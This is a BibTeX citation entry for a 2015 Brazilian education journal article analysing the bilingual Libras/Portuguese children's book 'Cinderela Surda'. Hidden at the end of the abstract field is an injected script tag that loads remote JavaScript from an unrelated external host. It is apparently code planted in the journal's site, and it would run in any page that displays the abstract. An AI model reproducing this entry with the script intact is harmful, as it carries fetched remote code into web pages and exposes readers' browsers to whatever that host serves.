@article{Dallan_Nardini_Bueno_Mascia_2015, place={Campinas, SP}, title={Era uma vez uma "Cinderela Surda": uma análise da releitura do clássico, em Escrita de Sinais}, volume={17}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/8635694}, DOI={10.20396/etd.v17i2.8635694}, abstractNote={<em>A proposta deste artigo é apresentar uma análise do livro bilíngue (Libras/Língua Portuguesa) “Cinderela Surda”. O objetivo consiste em compará-los e apontar, no conteúdo textual em Língua de Sinais, os apagamentos significativos em relação ao que foi escrito em Língua Portuguesa. O referencial teórico reside nos estudos sobre gêneros de Bakhtin/Voloshinov e Bronckart. A análise revelou a necessidade de trazer às novas produções não apenas os elementos formadores desse gênero, percebidos nas duas versões, mas que haja uma consonância maior entre as duas línguas, ao tentar reproduzir o efeito de sentido vivido através da narrativa, nos seus distintos leitores</em>.<script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={2}, journal={ETD - Educação Temática Digital}, author={Dallan, Maria Salome Soares and Nardini, Mateus Roncada and Bueno, Luzia and Mascia, Márcia Aparecida Amador}, year={2015}, month={ago.}, pages={355–376} }